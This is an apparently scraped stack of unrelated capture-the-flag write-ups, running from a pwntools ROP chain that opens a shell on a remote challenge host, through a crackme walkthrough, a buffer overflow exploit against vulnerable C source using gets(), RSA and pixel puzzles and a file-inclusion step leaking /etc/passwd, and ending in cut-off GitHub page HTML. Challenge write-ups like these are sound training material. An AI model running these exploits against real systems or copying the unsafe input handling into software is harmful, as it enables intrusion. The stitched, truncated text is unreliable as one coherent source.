------------------------------------------#! /usr/bin/env python3from pwn import *context.arch='amd64'io = remote('35.186.153.116', 7002)elf = ELF('admin') write_mem = 0x6bb300 #the bss segment. pop_rdi = 0x41dc9a #: pop rdi ; ret ;pop_rax = 0x475757 #: pop rax ; ret ;pop_rsi = 0x48208c #: pop rsi ; ret ;pop_rdx = 0x4aeef2 #: pop rdx ; ret ;syscall = 0x475485 #: syscall ; gets = 0x410330 #gets function in binary ; rop = flat([ 'a'*72, #Padding of 72 #we return to pop rdi gadget; pop_rdi, #pop rdi ; ret ; #pop the address where we want our /bin/sh string to be. write_mem, #return to gets function. gets, #return to gets ; #after gets we return to pop_rdi again, pop_rdi, write_mem, #bin_sh pop_rax, #pop rax ; ret ; 0x3b, #syscall number for execve pop_rsi, #pop rsi ; ret ; 0x0, pop_rdx, #pop rdx ; ret ; 0x0, syscall])io.sendline(rop)#we send /bin/shio.sendline('/bin/sh')#pop the shellio.interactive()--------------------------------------------------------------------------------------------------- If you need any guide on how ROP works.There is amazing information available on https://ropemporium.com
This is one of the reversing problems that I solved during SarCTF a couple months back in February of 2020. I decided to write this up since I believe it to a good beginner problem for people looking to get into reverse engineering. # Problem Description> While the children were playing toys, Sherlock was solving crosswords in large volumes. # Reversing the BinaryUsing `file` we can see we're given an unstripped 64-bit ELF file: `ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=2e45dc319e3736db1643abb283b0ed9a18681261, not stripped`. Running the binary, we're presented with the following output: ```➜ sarctf ./crossw0rd Welcome. You're in function check. Please Enter a password to continue. 1 attempt remaining:passwordWrong password! Your attempt is over.``` Since we need to reverse engineer the executable to get the password, let's go ahead and throw this in a disassembler/decompiler of your choice, I'll be using Ghidra. After analyzing the binary, we can see several exported symbols. Let's start with `main()`: *Main* ```cundefined8 main(void){ check(); return 0;}``` Only one call to follow so let's look at `check()`. We can clearly see that this function is responsible for prompting the user, taking input, and finally verifying said input. `check()` also calls another function named `e()`, and checks against it's return value. If it's **FALSE**, we lose. *check*```cvoid check(void) { char cVar1; long in_FS_OFFSET; char local_28 [24]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); puts( "Welcome. You\'re in function check. Please Enter a password to continue. 1 attemptremaining:" ); scanf("%s",local_28); cVar1 = e(local_28); if (cVar1 == '\0') { puts("Wrong password! Your attempt is over."); } else { puts("You cracked the system!"); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return;}``` *E* ```culong e(char *param_1) { byte bVar1; char cVar2; if ((((param_1[7] == '5') && (param_1[0x11] == 'g')) && (param_1[2] == 'A')) && (cVar2 = b(param_1), cVar2 != '\0')) { bVar1 = 1; } else { bVar1 = 0; } return (ulong)bVar1;}``` `e()` checks 4 things: 8th character must equal **5**, 18th character must equal **g**, string passed into this function must not be **NULL**, and `b()` must return **TRUE**. Let's take a look at what `b()` expects. This time, `b()` checks 5 things: 16th character must equal **i**, 10th character must equal **r**, 2nd character must equal **L**, `d()` must return **TRUE**, and string passed in cannot be **NULL**. *B*```culong b(char *param_1) { byte bVar1; char cVar2; if ((((param_1[0xf] == 'i') && (param_1[9] == 'r')) && (param_1[1] == 'L')) && (cVar2 = d(param_1), cVar2 != '\0')) { bVar1 = 1; } else { bVar1 = 0; } return (ulong)bVar1;}``` This continues on for 4 more functions, the steps moving forward are exactly the same. There are 8 functions in total worth looking at: `main()`, `check()`, and `a()-f()`. *D*```culong d(char *param_1) { byte bVar1; char cVar2; if ((((param_1[10] == '3') && (param_1[0x12] == '}')) && (param_1[6] == 'a')) && (cVar2 = f(param_1), cVar2 != '\0')) { bVar1 = 1; } else { bVar1 = 0; } return (ulong)bVar1;}``` *F*```culong f(char *param_1) { byte bVar1; char cVar2; if ((((*param_1 == 'F') && (param_1[0xe] == '5')) && (param_1[0x10] == 'n')) && (cVar2 = c(param_1), cVar2 != '\0')) { bVar1 = 1; } else { bVar1 = 0; } return (ulong)bVar1;}``` *C*```culong c(char *param_1) { byte bVar1; char cVar2; if ((((param_1[3] == 'G') && (param_1[0xb] == 'v')) && (param_1[5] == '3')) && (cVar2 = a(param_1), cVar2 != '\0')) { bVar1 = 1; } else { bVar1 = 0; } return (ulong)bVar1;}``` *A*```cundefined8 a(char *param_1) { undefined8 uVar1; if ((((param_1[4] == '{') && (param_1[0xc] == '3')) && (param_1[8] == 'y')) && (param_1[0xd] == 'r')) { uVar1 = 1; } else { uVar1 = 0; } return uVar1;}``` # Putting It TogetherAfter reversing through functions `a()-f()`, you should be able to string together the expected password. We run the binary one more time, giving it the correct password, and we get the flag: `FLAG{3a5yr3v3r5ing}` Author: [medarkus](https://twitter.com/v0idptr_)
The source code is given:```c#include <stdio.h>#include <stdlib.h>#include <string.h> void flag_me(){ system("cat flag.txt");} void lockdown(){ int lock = 0; char buf[64]; printf("I made this really cool flag but Governor Hogan put it on lockdown\n"); printf("Can you convince him to give it to you?\n"); gets(buf); if(lock == 0xdeadbabe){ flag_me(); }else{ printf("I am no longer asking. Give me the flag!\n"); }} int main(){ lockdown(); return 0;}``` No bounded input -> buffer overflow. We can overwrite lock variable with 0xdeadbabe and get the flag. Exploit:```pythonfrom pwn import * payload = (('A'*64).encode())payload += p32(0xdeadbabe) p = remote('ctf.umbccd.io', 4500)#p = process('./onlockdown')print(p.recvuntil('?\n').decode())p.sendline(payload)p.interactive()``` # FLAG` DawgCTF{s3ri0u$ly_st@y_h0m3}`
## Returning Stolen Archives This was the challenge text:```Returning Stolen Archives - 50 Points So I was trying to return the stolen archives securely, but it seems that I had to return them one at a time, and now it seems the thieves stole them back! Can you help recover them once and for all? It seems they had to steal them one at a time... Dev: WilliamHint! Well you sure as hell ain't going to solve this one through factorization. * intercepted.txt* returningstolenarchives.py``` Given the `intercepted.txt` file, we know the values of n, e, and the cipher text letters (ct). Looking at the python code in `returningstolenarchives.py` what we need to figure out is: ((some char) ^ e) % n == cipher letter Therefore, we can brute force to recover the plaintext:```pythonfrom string import printable for cipher_letter in ct: for letter in printable: if (ord(letter) ** e) % n == cipher_letter: print(letter, end='') break``` This gives us the flag:```$ python solve.pyrtcp{cH4r_bY_Ch@R!}```
## Satan's Jigsaw This was the challenge text:```Satan's Jigsaw - 736 Points Oh no! I dropped my pixels on the floor and they're all muddled up! It's going to take me years to sort all 90,000 of these again :( Dev: TomHint! long_to_bytes chall.7z``` I first extracted the pictures, there are indeed 90,000 of them!```$ 7z x chall.7z...$ find chall/ -type f | wc -l90000``` Each jpg is a 1x1 pixel:```$ mediainfo chall/54082768285744.jpg GeneralComplete name : chall/54082768285744.jpgFormat : JPEGFile size : 631 Bytes ImageFormat : JPEGWidth : 1 pixelHeight : 1 pixelColor space : YUVChroma subsampling : 4:2:0Bit depth : 8 bitsCompression mode : LossyStream size : 631 Bytes (100%)``` I decided to use Python with PIL to write the pixels to an image by ordering them by their file name number. I took a first guess that perhaps the dimensions of the picture were (300x300 = 90,000):```pythonimport osfrom PIL import Image files = sorted(os.listdir('chall/')) final_image = Image.new('RGB', (300, 300)) i = 0pixels = []for f in files: im = Image.open('chall/' + f) pixel = im.load()[0, 0] pixels.append(pixel) i += 1 final_image.putdata(pixels)final_image.save('test.png')``` The result: ![test](test.png) The dimensions I guessed are off, but we can make out a QR code to scan. It gives us the flag: `rtcp{d1d-you_d0_7his_by_h4nd?}`
#### 1. Leak /etc/passwd file with an LFI#### 2. Target the gitserver system user and know that there is a git repo inside his home directory#### 3. Get the commits made to the repo in order to get the flagFull Writeup: [https://www.sousse.love/post/signstealingsoftware-p2-umdctf/index.html](http://)
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>CTF-Writeups/HouseplantCTF2020 at master · TeamGreyFang/CTF-Writeups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="BEAE:76EE:1CC63D4C:1DA33B65:641220E1" data-pjax-transient="true"/><meta name="html-safe-nonce" content="d6399354e050b7fb5a776fc4113fb3babb98a365883550699e4b40f73bf2f479" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCRUFFOjc2RUU6MUNDNjNENEM6MURBMzNCNjU6NjQxMjIwRTEiLCJ2aXNpdG9yX2lkIjoiNjY4MTIyNzgwOTk1OTA1OTY4MSIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="2ec2e62cc14082fa4ccb433a9e56aef242114625e53600b41adffa9c4d4808da" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:249393641" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to TeamGreyFang/CTF-Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/06bceeabae93c855d73332ebbe5a876beee51d520333b6ff7b6f1853d091a287/TeamGreyFang/CTF-Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-Writeups/HouseplantCTF2020 at master · TeamGreyFang/CTF-Writeups" /><meta name="twitter:description" content="Contribute to TeamGreyFang/CTF-Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/06bceeabae93c855d73332ebbe5a876beee51d520333b6ff7b6f1853d091a287/TeamGreyFang/CTF-Writeups" /><meta property="og:image:alt" content="Contribute to TeamGreyFang/CTF-Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-Writeups/HouseplantCTF2020 at master · TeamGreyFang/CTF-Writeups" /><meta property="og:url" content="https://github.com/TeamGreyFang/CTF-Writeups" /><meta property="og:description" content="Contribute to TeamGreyFang/CTF-Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/TeamGreyFang/CTF-Writeups git https://github.com/TeamGreyFang/CTF-Writeups.git"> <meta name="octolytics-dimension-user_id" content="62543470" /><meta name="octolytics-dimension-user_login" content="TeamGreyFang" /><meta name="octolytics-dimension-repository_id" content="249393641" /><meta name="octolytics-dimension-repository_nwo" content="TeamGreyFang/CTF-Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="249393641" /><meta name="octolytics-dimension-repository_network_root_nwo" content="TeamGreyFang/CTF-Writeups" /> <link rel="canonical" href="https://github.com/TeamGreyFang/CTF-Writeups/tree/master/HouseplantCTF2020" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 